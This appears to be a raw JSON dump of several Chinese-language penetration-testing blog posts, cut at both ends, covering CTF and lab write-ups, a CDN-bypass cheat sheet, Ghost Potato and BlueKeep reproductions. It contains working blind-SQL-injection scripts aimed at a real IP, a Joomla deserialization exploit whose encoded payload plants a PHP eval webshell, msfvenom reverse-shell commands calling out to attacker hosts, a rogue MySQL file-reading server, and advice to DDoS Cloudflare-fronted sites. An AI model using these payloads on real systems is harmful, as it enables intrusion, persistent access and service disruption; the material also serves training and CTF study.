可以发现他同样是调用了System.Runtime.Serialization,通过对两个var的反序列化操作,从而执行 ToVBS1GadgetToJScript.exe -w vbs -e b64 -o test ToVBA1GadgetToJScript.exe -w vba -e b64 -o test ToHta1GadgetToJScript.exe -w hta -e b64 -o test With CobaltStrike/Covenant利用cs产生的shellcode进行加载 当然,需要修改一下程序获取cs代码的地方 这也是三好学生师傅的方法,同样的,也可以自定义一个参数进行输入。 Covenant提供了Binary的源代码,也可以直接加载 Analyse首先,GadgetToJScript相比于DotNetToJScript来说,在反序列化的时候不需要调用1DynamicInvoke(al.ToArray()).CreateInstance(CLASS) 可以规避一些杀软的检测。再者,更适合进行二次开发,这点之前RedCore@Moriarty师傅已经演示过针对GadgetToJScript的二次开发,以及深度使用了。 和之前一样,GadgetToJScript也是通过模版进行转换 提供了4种脚本类型和2种编码 根据_wsh选取对应模版 后面就是针对具体类型的一些替换变量 实现的逻辑: 再后来就是直接替换数据,生成目标文件 0x03 Links🔗https://github.com/tyranid/DotNetToJScripthttps://github.com/Cn33liz/StarFightershttps://github.com/med0x2e/GadgetToJScripthttps://3xpl01tc0d3r.blogspot.com/2020/02/gadgettojscript-covenant-donut.htmlhttps://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8JS%E5%8A%A0%E8%BD%BD.Net%E7%A8%8B%E5%BA%8F/https://3gstudent.github.io/3gstudent.github.io/GadgetToJScript%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/","categories":[{"name":"Red-Team Tricks","slug":"Red-Team-Tricks","permalink":"http://patrilic.top/categories/Red-Team-Tricks/"}],"tags":[{"name":"DotNet","slug":"DotNet","permalink":"http://patrilic.top/tags/DotNet/"}]},{"title":"TetCTF - Secure System Write-up","slug":"TetCTF - Secure System Write-up","date":"2020-01-09T06:49:00.000Z","updated":"2020-03-18T09:46:39.603Z","comments":true,"path":"2020/01/09/TetCTF - Secure System Write-up/","link":"","permalink":"http://patrilic.top/2020/01/09/TetCTF - Secure System Write-up/","excerpt":"","text":"@Author: Patrilic@Time: 2020-01-09 14:49:00 0x00 题目描述题目链接: http://45.77.240.178:8002/ 0x01 Write-up题目给出的源码只有一个index.php文件1234567891011121314151617181920212223242526272829303132333435363738394041<?php require_once('dbconnect.php');$flag = mysqli_query($conn,\"SELECT * FROM xxxxxxxxxxxxxxxxxxx\")->fetch_assoc()['yyyyyyyyyyyyyyyyyyyy']; //Sorry It's our secret, can't share?><br><br><br><br><center>Security Check!!! Please enter your ID to prove who are you !!!:<form action=\"index.php\" method=\"POST\"> <input name=\"id\" value=\"\" /><br> <input type=\"submit\" value=\"Submit\" /></form></center><?phpif (isset($_POST['id']) && !empty($_POST['id'])){ if (preg_match('/and|or|in|if|case|sleep|benchmark/is' , $_POST['id'])) { die('Tet nhat ai lai hack nhau :(, very dangerous key word'); } elseif (preg_match('/order.+?by|union.+?select/is' , $_POST['id'])) { die('Tet nhat ai lai hack nhau :(, very dangerous statement'); } else { $user = mysqli_query($conn,\"SELECT * FROM users WHERE id=\".$_POST['id'])->fetch_assoc()['username']; if($user!=='admin') { echo 'Hello '.htmlentities($user); if($user==='admin') { echo 'This can\\'t be =]] Just put here for fun lul'; die($flag); } } }}?> 一看源码就知道是道纯粹的SQL注入题目, 而且获得flag的形式应该是直接从数据库中注出来 因为过滤了sleep以及benchmark,所以应该是布尔盲注1select * from user where id = 1 && ord(substr(DATABASE(),1,1))=104; 但是ord的or被过滤了,这里可以使用convv(hex())或者ascii 先获取database()试试 判断出database长度为10 写个小脚本跑一下数据库名1234567891011121314151617181920212223242526# -*- coding: utf-8 -*-# @Time : 2020-01-09 11:31# @Author : Patrilic# @FileName: sql_dbs.py# @Software: PyCharmimport requestsurl = \"http://45.77.240.178:8002/index.php\"proxy = {\"http\":\"127.0.0.1:8000\"}database_name = \"\"for i in range(1,11): for j in range(1,128): payload = { \"id\":\"(ascii(substr(database(),{},10))={})+1\".format(i, j) } res = requests.post(url, payload) # print(payload) if 'guest' in res.text: database_name += chr(j) print(database_name)# owl_donkey 注表名的时候又遇到了问题,information_schema和mysql.innodb_table_stats都需要使用in,这里需要拿sys.x$schema_flattened_keys绕过 关于sys.x$schema_flattened_keys,可以看它的组成语句https://github.com/mysql/mysql-sys/blob/master/views/i_s/x_schema_flattened_keys.sql 同样的,也可以使用 sys.x$schema_table_statistics,这个更好,因为sys.x$schema_flattened_keys是基于index的,这个的话,会把sys.x$schema_flattened_keys表中没有的也列出来 https://dev.mysql.com/doc/refman/5.7/en/sys-schema-table-statistics.html 12345678910111213141516171819202122232425262728# -*- coding: utf-8 -*-# @Time : 2020-01-09 12:23# @Author : Patrilic# @FileName: sql_tbs.py# @Software: PyCharmimport requestsurl = \"http://45.77.240.178:8002/index.php\"proxy = {\"http\":\"127.0.0.1:8000\"}chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()_+{}-='table_name = \"\"for i in range(1,26): for j in chars: payload={ 'id': '2 && ascii(substr((select table_name from sys.x$schema_table_statistics where table_schema=database() limit 1,1),{},25))=ascii(\"{}\")'.format(i, j)} res = requests.post(url, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data=payload, proxies = proxy) # res = requests.post(url, payload) print(payload) if 'guest' in res.text: print(payload) table_name += chr(j) print(table_name)#Th1z_Fack1n_Fl4444g_Tabl3 最后需要用到不用列名的注入 但是过滤了union…select可以通过利用pcre的正则回朔限制-> https://www.php.net/manual/en/pcre.configuration.php 12345678910111213# -*- coding: utf-8 -*-# @Time : 2020-01-09 14:16# @Author : Patrilic# @FileName: sql_flag.py# @Software: PyCharmimport requestsurl = \"http://45.77.240.178:8002/index.php\"payload = 'union/*'+'a'*1000000+'*/select 1,(select b from (select 1 as a, 2 as b union/*'+'a'*1000000+'*/select * from Th1z_Fack1n_Fl4444g_Tabl3)c limit 1,1),3-- -'r = requests.post(url,headers={'Content-Type':'application/x-www-form-urlencoded'},data={'id':'-2 {}'.format(payload)})print(r.text) 0x02 其他解法如果不用管正则回朔的话,可以使用这个payload链接: https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952","categories":[{"name":"Write-up","slug":"Write-up","permalink":"http://patrilic.top/categories/Write-up/"}],"tags":[{"name":"SQLi","slug":"SQLi","permalink":"http://patrilic.top/tags/SQLi/"}]},{"title":"Ghost Potato 复现","slug":"Ghost Potato 复现","date":"2020-01-08T06:11:00.000Z","updated":"2020-01-15T07:25:23.054Z","comments":true,"path":"2020/01/08/Ghost Potato 复现/","link":"","permalink":"http://patrilic.top/2020/01/08/Ghost Potato 复现/","excerpt":"","text":"@Author: Patrilic@Time: 2020-01-08 14:11:00 0x00 前言11月份的时候shenaniganslabs发了博文,讲了关于CVE-2019-1384的漏洞详情https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html 这同样是一个Potato系列的漏洞,简单来说就是绕过了MS08-068的修补方案,实现本机的NTLM反射,达到提权的目的。 0x01 NTLM 认证过程要搞清楚NTLM反射,首先来回顾一下NTLM的认证过程。 NTLM认证基于C/S验证机制,由三种消息组成: 协商,质询,验证 type1:协商 主要是客户端向服务器客户端支持和服务器请求的功能列表 type2: 质询 服务器向客户端发送服务器支持的功能列表,并且同时发送一个16位的Challenge, 并且同时发送服务器的各类信息于Target Info字段 type3: 验证 客户端收到Challenge后,使用自身的NTLM Hash加密Challenge得到Response,将Response发送给服务端.然后服务端在本地调用用户NTLM hash加密Challenge后,与Response进行对比。 0x02 ms08-068 这里需要看一个函数InitializeSecurityContextA 这个函数属于sspi.h, 关于SSP的作用就不再赘述了 函数主体:1234567891011121314SECURITY_STATUS SEC_ENTRY InitializeSecurityContextA( PCredHandle phCredential, PCtxtHandle phContext, SEC_CHAR *pszTargetName, unsigned long fContextReq, unsigned long Reserved1, unsigned long TargetDataRep, PSecBufferDesc pInput, unsigned long Reserved2, PCtxtHandle phNewContext, PSecBufferDesc pOutput, unsigned long *pfContextAttr, PTimeStamp ptsExpiry); 可以看到存在一个pszTargetName参数, ms08-068的修复方案也就是利用这个参数进行的 当我们存在两个主机进行SMB通信时,A向B发送了type1请求,同时他将自己的pszTargetName设置为cifs/B, 当拿到type2的challenge时,向lsass进程中写入缓存 -> (Challenge,cifs/B)。 而后A向B发送type3,B收到response后,会到lsass中去寻找是否存在缓存(Challenge,cifs/B), 因为只有A主机写入了缓存,所以如果A和B不是同一个主机,那么肯定B主机不存在缓存,认证成功。 0x03 cve-2019-1384这个漏洞主要是绕过了缓存的限制,因为lsass中的缓存(Challenge,cifs/B),在300s后会自动消失 利用流程: 经过315s后,再发送type3, 那么到时候lsass中的缓存已经消除,可以成功认证本机器 0x04 漏洞复现作者原文中提供的Poc: impacket-ghostpotato 由于他给的Poc只支持HTTP协议,所以我们使用IE浏览器进行访问即可配合responder的LLMNR投毒responder -I eth0 --lm 上传rat文件到WIndows启动目录,用户下次登录时自启动 Poc提供两个上传路径 0x05 引用链接🔗https://daiker.gitbook.io/windows-protocol/ntlm-pian/4https://shenaniganslabs.io/2019/11/12/Ghost-Potato.htmlhttps://support.microsoft.com/kb/957097/http://davenport.sourceforge.net/ntlm.html","categories":[{"name":"内网渗透","slug":"内网渗透","permalink":"http://patrilic.top/categories/内网渗透/"}],"tags":[{"name":"Potato","slug":"Potato","permalink":"http://patrilic.top/tags/Potato/"}]},{"title":"iSoonLab.org Write-up","slug":"iSoonLab.org Write-up","date":"2019-12-12T06:32:22.000Z","updated":"2019-12-12T07:26:41.417Z","comments":true,"path":"2019/12/12/iSoonLab.org Write-up/","link":"","permalink":"http://patrilic.top/2019/12/12/iSoonLab.org Write-up/","excerpt":"","text":"@Author: Patrilic@Time: 2019-12-12 14:32:22 题目拓扑Linux1 - solr: 192.168.21.12 Linux2 - joomla!: 192.168.21.20 Backup.sub.iSoonLab.org: 192.168.21.8 subdc.sub.iSoonLab.org: 192.168.21.4 / 10.153.69.50 DC.iSoonLab.org: 10.153.69.5 Linux1目标:192.168.121.131 开放8983端口,打开是solr未授权,8.1.1版本,联想到前段时间很火的Apache Solr RCE https://www.freebuf.com/vuls/218730.html 根据网上的exp http://192.168.121.131:8983/solr/admin/cores?wt=json&indexInfo=false 存在iSoon core 确实没问题,弹个shell到本机来 1msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP_Addr> LPORT=<Port_Num> -f elf > shell.elf 因为solr用户没有/tmp目录写权限, 可以参考@haya大手子的https://forum.90sec.com/t/topic/579 用perl来执行脚本 flag就在当前目录 当然,也可以在/var/tmp里写文件~ Linux2简单侦查后,发现存在192.168.21.0/24网段 使用msf自带的sock4a作代理即可,Linux1只是用来撕来流量口子 代理内网后,发现同网段存在三台机器 找到Linux2 : 192.168.21.20, 开放HTTP端口 joomla-3.4.6版本,存在RCE,通过构造exp,拿到webshell 123456789101112131415161718192021222324252627282930313233343536373839404142<?phpclass JSimplepieFactory{}class JDatabaseDriverMysql{}class JDatabaseDriverMysqli{ protected $xx; protected $connection; protected $disconnectHandlers; protected $obj; function __construct() { $this->xx = new JSimplepieFactory(); $this->connection = 1; $obj = new SimplePie; $this->disconnectHandlers = [ [$obj, \"init\"], ]; }}class SimplePie{ var $sanitize; var $cache_name_function; var $feed_url; function __construct() { $this->feed_url = \"system('echo \\'ZWNobyAiPD9waHAgZXZhbChcJF9QT1NUW2FdKT8+IiA+IC9ob21lL3d3d3Jvb3QvZGVmYXVsdC8xLnBocA==\\'| base64 -d | bash');JFactory::getConfig();exit;\"; $this->cache_name_function = \"assert\"; $this->sanitize = new JDatabaseDriverMysql(); }}$a = new JDatabaseDriverMysqli();$ser = serialize($a);echo $data = str_replace(chr(0) . '*' . chr(0), '\\0\\0\\0', $ser); 12345用户名:\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0密码:MYP\";s:2:\"HS\";O:21:\"JDatabaseDriverMysqli\":4:{s:5:\"\\0\\0\\0xx\";O:17:\"JSimplepieFactory\":0:{}s:13:\"\\0\\0\\0connection\";i:1;s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":3:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:19:\"cache_name_function\";s:6:\"assert\";s:8:\"feed_url\";s:149:\"system('echo \\'ZWNobyAiPD9waHAgZXZhbChcJF9QT1NUW2FdKT8+IiA+IC9ob21lL3d3d3Jvb3QvZGVmYXVsdC8xLnBocA==\\'| base64 -d | bash');JFactory::getConfig();exit;\";}i:1;s:4:\"init\";}}s:6:\"\\0\\0\\0obj\";N;} antsword连接后,在/tmp目录上传我们生成的msf木马 1msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.21.12 LPORT=6666 -f elf > shell2.elf 拿到shell后,查看uname 内核版本比较低的桌面版本,存在CVE-2019-13272 EXP需要满足三个条件: 内核版本 < 5.1.17 且为桌面版 存在/home/\\ 交互式shell 成功拿到第二个flag Backup.sub.iSoonLab.org回过来看web界面的提示 放出了下一步的hint,查看已经安装的软件和python第三方库 三条思路: 利用impacket和arpspoof进行中间人攻击 在本机上进行信息搜集,寻找到域成员机器的路子 系统漏洞 -> ms17010 .etc 中间人攻击使用ms15-014 和 ms15-011 进行组策略劫持,拿下域成员机器 翻机器的日志 有day上day~ ### 简单方法: 通过.bash_history拿到mount命令,存有明文密码, 通过exploit/windows/smb/psexec即可拿到目标机器NT/SYSTEM 中间人测试也是可行的,使用MS15-011劫持组策略,只是需要等待组策略生效 (默认90分钟) <懒狗不想截图了> subdc.iSoonLab.org在backup机子上的C:\\Backup翻到了注册表的存档 下载下来使用secretsdump进行dump 拿到服务账户后,用来构造白银票据,攻击subdc.sub.iSoonLab.org(MS14068也可) (注意必须关闭Linux2中的arpspoof) 第四个flag到手~~ DC.iSoonLab.org最后就很简单啦,子父域中常见的双向信任,我们可以通过构造信任票据来进行攻击 利用信任票据 http://www.harmj0y.net/blog/redteaming/the-trustpocalypse/ 这里有一点小问题: 当指定krbtgt账户时,因为子父域中存在两个krbtgt账户,DCsync转储时可能爆NOT_UNIQUE,可以使用/all解决 利用dcsync 转储子域的所有hash 使用/Ptt 进行信任票据传递即可 拿到域控权限,flag在C:\\Users\\Administraotr\\flag.txt中","categories":[{"name":"Write-up","slug":"Write-up","permalink":"http://patrilic.top/categories/Write-up/"}],"tags":[{"name":"iSoonLab.org","slug":"iSoonLab-org","permalink":"http://patrilic.top/tags/iSoonLab-org/"}]},{"title":"Bypass CDN 寻找真实IP","slug":"Bypass CDN 寻找真实IP_1","date":"2019-10-09T05:12:49.000Z","updated":"2019-10-31T15:51:16.775Z","comments":true,"path":"2019/10/09/Bypass CDN 寻找真实IP_1/","link":"","permalink":"http://patrilic.top/2019/10/09/Bypass CDN 寻找真实IP_1/","excerpt":"","text":"@Author: Patrilic@Time: 2019-10-09 13:12:49 0x00 前言个人觉得,绕过CDN去寻找主机的真实ip,更容易能寻找到企业网络的薄弱地带,所以Bypass CDN也就变成了至关重要的一点 0x01 常见Bypass方法子域名搜集由于成本问题,可能某些厂商并不会将所有的子域名都部署CDN,所以如果我们能尽量的搜集子域名,或许可以找到一些没有部署CDN的子域名,拿到某些服务器的真实ip/段 然后关于子域名搜集的方式很多,就不一一介绍了,我平时主要是从这几个方面搜集子域名: SSL证书 爆破 Google Hacking 同邮箱注册人 DNS 域传送 页面JS搜集 网络空间引擎 工具也有很多厉害的,平时我一般使用 OneForALL + ESD + JSfinder 来进行搜集 (ESD可以加载layer的字典,很好用) 查询DNS历史解析记录常常服务器在解析到CDN服务前,会解析真实ip,如果历史未删除,就可能找到常用网站:http://viewdns.info/https://x.threatbook.cn/http://www.17ce.com/https://dnsdb.io/zh-cn/https://securitytrails.com/http://www.ip138.com/https://github.com/vincentcox/bypass-firewalls-by-DNS-history MX记录(邮件探测)这个很简单,如果目标系统有发件功能,通常在注册用户/找回密码等地方 SSL证书探测我们可以利用空间引擎进行SSL证书探测 443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:www.baidu.com 443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:www.baidu.com 再放一个搜集证书的网站https://crt.sh 一个小脚本,可以快速搜集证书 1234567891011121314151617181920212223# -*- coding: utf-8 -*-# @Time : 2019-10-08 22:51# @Author : Patrilic# @FileName: SSL_subdomain.py# @Software: PyCharmimport requestsimport reTIME_OUT = 60def get_SSL(domain): domains = [] url = 'https://crt.sh/?q=%25.{}'.format(domain) response = requests.get(url,timeout=TIME_OUT) # print(response.text) ssl = re.findall(\"<TD>(.*?).{}</TD>\".format(domain),response.text) for i in ssl: i += '.' + domain domains.append(i) print(domains)if __name__ == '__main__': get_SSL(\"baidu.com\") 还有一种方式,就是搜集SSL证书Hash,然后遍历ip去查询证书hash,如果匹配到相同的,证明这个ip就是那个 域名同根证书的服务器真实ip 简单来说,就是遍历0.0.0.0/0:443,通过ip连接https时,会显示证书 当然,也可以用censys等引擎 偏远地区服务器访问在偏远地区的服务器访问时,可能不会访问到CDN节点,而是直接访问服务器真实ip 所以我们可以搞一个偏远地区的代理池,来访问目标域名,有概率就可以拿到真实ip 也就是平常说的多地Ping favicon_hash匹配利用shodan的http.favicon.hash语法,来匹配icon的hash值 直接推https://github.com/Ridter/get_ip_by_ico/blob/master/get_ip_by_ico.py CloudFlare Bypass免费版的cf,我们可以通过DDOS来消耗对方的流量,只需要把流量打光,就会回滚到原始ip 还有利用cloudflare的改host返回示例:https://blog.detectify.com/2019/07/31/bypassing-cloudflare-waf-with-the-origin-server-ip-address/里面给了详细的介绍,我们可以通过HOST来判断是否是真实ip具体看文章即可 奇特的ping比如可能有些地方,使用的CDN都是以www.xxx.edu.cn,例如www.cuit.edu.cn,www.jwc.cuit.edu.cn 可能去掉前缀的www,就可能绕过CDN了,猜测应该是类似于Apache VirtualHost 可参考https://httpd.apache.org/docs/2.4/en/vhosts/examples.html 例如: 我这里其实是ping了www.xxx.gov.cn和xxx.gov.cn 这样就可以绕过CDN的检测 利用老域名在换新域名时,常常将CDN部署到新的域名上,而老域名由于没过期,可能未使用CDN,然后就可以直接获取服务器真实ip。 例如patrilic.top > patrilic.com域名更新时,可能老域名同时解析到真实服务器,但是没有部署CDN 这个可以通过搜集域名备案的邮箱去反查,可能会有意外收获 暴力匹配找到目标服务器IP段后,可以直接进行暴力匹配 ,使用masscan扫描HTTP banner,然后匹配到目标域名的相同banner DDos/社工CDN平台等0x02 其他方法phpinfo ssrf,文件上传等漏洞略.. 0x03 参考链接🔗https://github.com/shmilylty/OneForAllhttps://github.com/FeeiCN/ESDhttps://github.com/Threezh1/JSFinderhttps://github.com/AI0TSec/blog/issues/8https://www.4hou.com/tools/8251.htmlhttps://www.freebuf.com/sectool/112583.html","categories":[{"name":"Pentest Cheat Sheet","slug":"Pentest-Cheat-Sheet","permalink":"http://patrilic.top/categories/Pentest-Cheat-Sheet/"}],"tags":[{"name":"Bypass CDN","slug":"Bypass-CDN","permalink":"http://patrilic.top/tags/Bypass-CDN/"}]},{"title":"CVE-2019-6145 Forcepoint VPN","slug":"CVE-2019-6145 Forcepoint VPN","date":"2019-09-26T16:03:55.000Z","updated":"2019-09-27T06:52:31.916Z","comments":true,"path":"2019/09/27/CVE-2019-6145 Forcepoint VPN/","link":"","permalink":"http://patrilic.top/2019/09/27/CVE-2019-6145 Forcepoint VPN/","excerpt":"","text":"@Author: Patrilic@Time: 2019-09-27 0:03:55 0x00 前言群里师傅传了一篇漏洞详情,如下:https://www.4hou.com/vulnerable/20515.html 其中翻到这个的时候: 这不就是白加黑么..还能自启,岂不美哉~ 0x01 漏洞复现影响版本 Forcepoint VPN Windows Client < 6.6.1 复现 安装的时候会调用msiexec.exe,使用驱动加载NT/SYSTEM 然后保证自启动,所以只要我们能摸到路径就能持久控制 打开程序,我们发现他会去查询一些不存在的目录和程序 0x02 漏洞原理看这个就好了https://www.4hou.com/vulnerable/20515.html 暴风哭泣,不会 (我是一个没有感情的复现机器) 0x03 免杀","categories":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://patrilic.top/categories/漏洞复现/"}],"tags":[{"name":"Forcepoint VPN","slug":"Forcepoint-VPN","permalink":"http://patrilic.top/tags/Forcepoint-VPN/"}]},{"title":"浅谈 Linux系统 proc","slug":"浅谈 Linux系统 Proc","date":"2019-09-10T16:44:23.000Z","updated":"2019-09-10T16:59:01.747Z","comments":true,"path":"2019/09/11/浅谈 Linux系统 Proc/","link":"","permalink":"http://patrilic.top/2019/09/11/浅谈 Linux系统 Proc/","excerpt":"","text":"@Author: Patrilic@Time: 2019-9-11 0:44:23 0x00 前言我们经常在CTF比赛里,或者实际渗透里,使用到/proc这个目录,比如常常利用/proc/self/cwd来访问进程中的文件,使用/proc/self/environ读取系统的环境变量等 0x01 Proc 到底是个什么东西实际上我们在任何的GUN/Linux操作系统里,都能找到这个目录,并且里面存在大量目录但是如果,我们使用 ls -al来查看 可以看到绝大部分文件大小为0 但是我们可以使用cat命令获取其中的大量信息 为什么0字节还能存有内容呢 这里提到一个概念:文件系统维基百科->https://zh.wikipedia.org/wiki/Procfs 而proc在Unix里常常被称为procfs -> proc file system它包含一个伪文件系统(启动时动态生成的文件系统),用于通过内核访问进程信息。这个文件系统通常被挂载到 /proc 目录。由于 /proc 不是一个真正的文件系统,它也就不占用存储空间,只是占用有限的内存。 维基百科->https://zh.wikipedia.org/wiki/Procfs 所以说,其实/proc目录更多的是起到一个类似于接口的作用,当我们使用cat命令获取时,它会从内存中获取信息,来返回给用户,而目录中的数字,其实就是PID号。 /proc/$PID/cmdline 启动进程时执行的命令 /proc/$PID/environ 该文件保存进程的环境变量 /proc/$PID/cwd 一个符号连接, 指向进程当前的工作目录 /proc/$PID/exe 一个符号连接, 指向被执行的二进制代码 /proc/$PID/fd 进程所打开的每个文件都有一个符号连接在该子目录里, 以文件描述符命名, 这个名字实际上是指向真正的文件的符号连接 /proc/$PID/attr 进程的属性 0x02 /proc/self相对于进程PID,我们在实战的文件读取中,更多使用的是/proc/self目录。在stackexchange有一个讨论,https://unix.stackexchange.com/questions/333225/which-process-is-proc-self-for 也就是说,其实/proc/self 是指向当前进程的内存 比如之前护网杯2019的一道利用 MySQL LOAD DATA特性读取文件,让php远程连接到我们的客户端,然后发送命令,由于在远程服务器是使用apache进程来连接,所以我们可以读取到/proc/self/cwd/index.php 12345678910111213141516171819202122# coding=utf-8 import socketimport logginglogging.basicConfig(level=logging.DEBUG)filename=\"/proc/self/cwd/index.php\"sv=socket.socket()sv.bind((\"\",3306))sv.listen(5)conn,address=sv.accept()logging.info('Conn from: %r', address)conn.sendall(\"\\x4a\\x00\\x00\\x00\\x0a\\x35\\x2e\\x35\\x2e\\x35\\x33\\x00\\x17\\x00\\x00\\x00\\x6e\\x7a\\x3b\\x54\\x76\\x73\\x61\\x6a\\x00\\xff\\xf7\\x21\\x02\\x00\\x0f\\x80\\x15\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x70\\x76\\x21\\x3d\\x50\\x5c\\x5a\\x32\\x2a\\x7a\\x49\\x3f\\x00\\x6d\\x79\\x73\\x71\\x6c\\x5f\\x6e\\x61\\x74\\x69\\x76\\x65\\x5f\\x70\\x61\\x73\\x73\\x77\\x6f\\x72\\x64\\x00\")conn.recv(9999)logging.info(\"auth okay\")conn.sendall(\"\\x07\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\")conn.recv(9999)logging.info(\"want file...\")wantfile=chr(len(filename)+1)+\"\\x00\\x00\\x01\\xFB\"+filenameconn.sendall(wantfile)content=conn.recv(9999)logging.info(content)conn.close() tip: 当找不到网站路径的时候,可以利用/proc/self/cwd目录来读取apache进程的php文件源码 0x03 相关链接🔗https://blog.csdn.net/goodluckwhh/article/details/17010029https://unix.stackexchange.com/questions/333225/which-process-is-proc-self-forhttps://www.cnblogs.com/youxin/p/4980058.html","categories":[{"name":"linux","slug":"linux","permalink":"http://patrilic.top/categories/linux/"}],"tags":[{"name":"proc","slug":"proc","permalink":"http://patrilic.top/tags/proc/"}]},{"title":"N1CTF Pentest N1ctf2019.lab Write-up","slug":"N1CTF Pentest N1ctf2019.lab Write-up","date":"2019-09-09T17:20:33.000Z","updated":"2019-09-09T15:03:25.597Z","comments":true,"path":"2019/09/10/N1CTF Pentest N1ctf2019.lab Write-up/","link":"","permalink":"http://patrilic.top/2019/09/10/N1CTF Pentest N1ctf2019.lab Write-up/","excerpt":"","text":"@Author: Patrilic@Time: 2019-09-10 01:20:33 0x00 前言scanf大师傅的题,tql..orz被haya师傅带着做了老半天,才肝出来第一题,然后后面因为太多人搅屎没办法做了.. 现在比赛结束了,趁着师傅还没关环境复盘一下 0x01 Step 1 入口ip:简单探测一下端口:47.52.129.242 发现开了ProFTPD 1.3.5 稍微googole一下,发现存在任意文件拷贝漏洞(CVE-2019-12815) 使用ncftp 连接 其实还是蛮卡的… 然后我们把msg文件写入到patrilic.php里 PS: 好像Windows连接需要密码,然后TOP1000字典就可以爆破出来,用户ftp 密码 mustang 所以现在我们有一个www-data权限的webshell,先反弹一个shell到我们的vps上 先查看一下内核版本: ok,使用msfvenom生成一个x64的linux reverse_shell木马,放在web目录下 1msfvenom --payload linux/x64/shell_reverse_tcp LHOST=45.xx.xx.xx LPORT=7778 -f elf -o /home/wwwroot/default/test.elf 我们用file_put_contents + file_get_contents将文件下载到/tmp目录下 然后给个执行权限 就可以弹回shell了 然后给它升级一下,搞成meterpreter session 提权的话,因为给了提示嘛,snap,也能比较容易想到是年初那个漏洞 CVE-2019-7304github上也有exp:https://github.com/initstring/dirty_sock 然后因为有师傅搅屎..就把snap升级了,导致没提示的时候,很多师傅一脸懵逼 不过snap是在18.04的版本之后才会自带,所以在这嫌疑还是比较大的 我们先用python得到一个半互式shell1python -c \"import pty;pty.spawn('/bin/bash')\" 可以看到其实,这个exp会生成一个dirty_sock用户,并且密码就是dirty_sock Get the flag: N1CTF{ImpOrtant_P0int3_4de0e} 0x02 Step 2 ps获取进程列表 可以看到dev上有一个域用户 使用meterpreter加载一个powerview.ps1来帮助我们信息搜集 注意在现在的branch里是没有Get-DomainUser等函数的,使用https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L4906 以下省略1000字(就是常规的Get-DomainUser等进行搜集) 通过信息搜集,我们获取到了存在一个backup Server 调用Invoke-Kerberoast获取SPN密文解密: P@ssword123 然后后面就是约束委派,提权拿到\\backup.n1ctf2019.lab\\backupfile\\DCServer的访问权限 里面存有注册表备份,使用impacket套件解密后拿到本地管理员hash 然后银票据,金票据,拿到DC权限,最后拿到域管理员桌面上的flag 0x03 总结因为后面隧道实在是太不稳定了,session疯狂掉,一直在88这台机子上转悠虽然好像就我一个人在弄 vultr真惨啊.. 然后后面的约束委派,实在是不怎么熟悉,还是经验太少.. 最后实名膜一波scanf师傅,以及带我飞的haya师傅,orz 奉上官方wp:https://github.com/Nu1LCTF/n1ctf-2019/blob/master/WEB/Pentest_N1CTF2019.lab/README.md Nu1L太强了, 也感谢一波scanf师傅带来这么有趣的题目(不过如果没人搅屎的话说不定能肝出来step2 hhhh) 最后还是觉得,过段时间好好研究一波kerberos~,趁着还在学校hhhh(kekeo都没用过的我 太菜了)","categories":[{"name":"Write-up","slug":"Write-up","permalink":"http://patrilic.top/categories/Write-up/"}],"tags":[{"name":"n1ctf-pentest","slug":"n1ctf-pentest","permalink":"http://patrilic.top/tags/n1ctf-pentest/"}]},{"title":"CVE-2019-0708 RDP 远程代码执行","slug":"CVE-2019-0708 RDP 远程代码执行","date":"2019-09-09T09:03:55.000Z","updated":"2019-09-09T12:07:38.289Z","comments":true,"path":"2019/09/09/CVE-2019-0708 RDP 远程代码执行/","link":"","permalink":"http://patrilic.top/2019/09/09/CVE-2019-0708 RDP 远程代码执行/","excerpt":"","text":"@Author: Patrilic@Time: 2019-09-09 17:03:55 0x00 前言RDP服务的漏洞,除了之前的ms12-020(补丁号:KB2621440),影响最轰动的也就是这次的bluekeep了,hw之前爆出的漏洞,前两天rapid7官方在github上传了最新的exp,可直接利用。 影响范围123456789Windows 7Windows Server 2008 R2Windows Server 2008Windows Server 2003Windows XP 0x01 漏洞复现目前需要替换exp包,我这里使用的是MacOS环境(exp包到处都有,就不放了)1234567cve_2019_0708_bluekeep_rce.rb 添加到 /opt/metasploit-framework/embedded/framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rbrdp.rb 替换 /opt/metasploit-framework/embedded/framework/lib/msf/corerdp_scanner.rb 替换 /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/dp_scanner.rbcve_2019_0708_bluekeep.rb 替换 /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb 替换完成之后使用reload_all加载模块 可以看到存在4个targets,我使用的是VMWare,所以选target 3 Windows 7 ultimate SP1 但是关掉session后重新打第二次,就蓝屏了 Windows Server 2008 R2 ,果然蓝屏了2333 0x02 总结听大佬说,核心代码还没放出来,测试过程中发现除了08的不能成功,其他都还ok,(听说需要修改注册表) 0x03 相关链接🔗https://www.freebuf.com/news/203584.htmlhttps://www.freebuf.com/vuls/205380.htmlhttps://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2012/ms12-020https://github.com/rapid7/metasploit-framework/pull/12283/files#diff-880ad99e50249db44c2f19b94f7a4870","categories":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://patrilic.top/categories/漏洞复现/"}],"tags":[{"name":"BlueKeep","slug":"BlueKeep","permalink":"http://patrilic.top/tags/BlueKeep/"}]},{"title":"MSF Pingback 